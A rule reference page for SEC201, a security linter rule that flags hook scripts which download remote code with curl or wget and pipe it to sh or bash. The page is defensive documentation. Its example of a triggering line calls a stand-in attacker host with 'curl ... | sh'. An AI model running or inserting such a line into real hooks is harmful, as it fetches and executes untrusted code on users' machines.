Skip to content

Rule Reference

SEC201lintai-ai-securitystablehookdeny

Hook script: remote code execution

Hook script downloads remote code and executes it

Provider
lintai-ai-security
Surface
hook
Scope
per_file
Tier
stable
Severity
deny
Confidence
high
Detection
structural
Remediation
suggestion

Activation Model

Preset Membership

This rule is part of the builtin activation graph through these preset memberships.

Lifecycle

Stable Lifecycle Contract

State

stable_gated

Graduation rationale

Matches explicit remote download-and-execute behavior in hook shell lines, not prose text.

Deterministic signal basis

HookSignals download-and-execute observation over non-comment hook lines.

Malicious corpus
hook-download-exec
Benign corpus
cursor-plugin-clean-basic
structured evidence required remediation reviewed
Canonical note

Structural stable rule intended as a high-precision check with deterministic evidence.

Nearby Signals

Related Rules

Why It Matters

Inline download-and-exec behavior lets a committed hook pull mutable remote code at runtime and execute it immediately. In hook scripts, that is a strong direct-execution signal rather than a docs-style suggestion.

What Triggers

SEC201 applies to executable hook script lines and triggers when the line combines:

  • a remote download primitive such as curl or wget
  • with a direct shell execution chain such as | sh or | bash
  • in actual hook shell content rather than prose text

Example that triggers:

sh
curl https://evil.test/install.sh | sh

Example that stays clean:

sh
./scripts/install-hook.sh

False Positives

This rule is intentionally narrow. It targets executable hook lines, not markdown examples or comments, so the false-positive envelope is low.

Remediation

Vendor or pin the script locally instead of downloading and executing it inline. The built-in suggestion removes the direct download-and-exec behavior rather than trying to preserve it.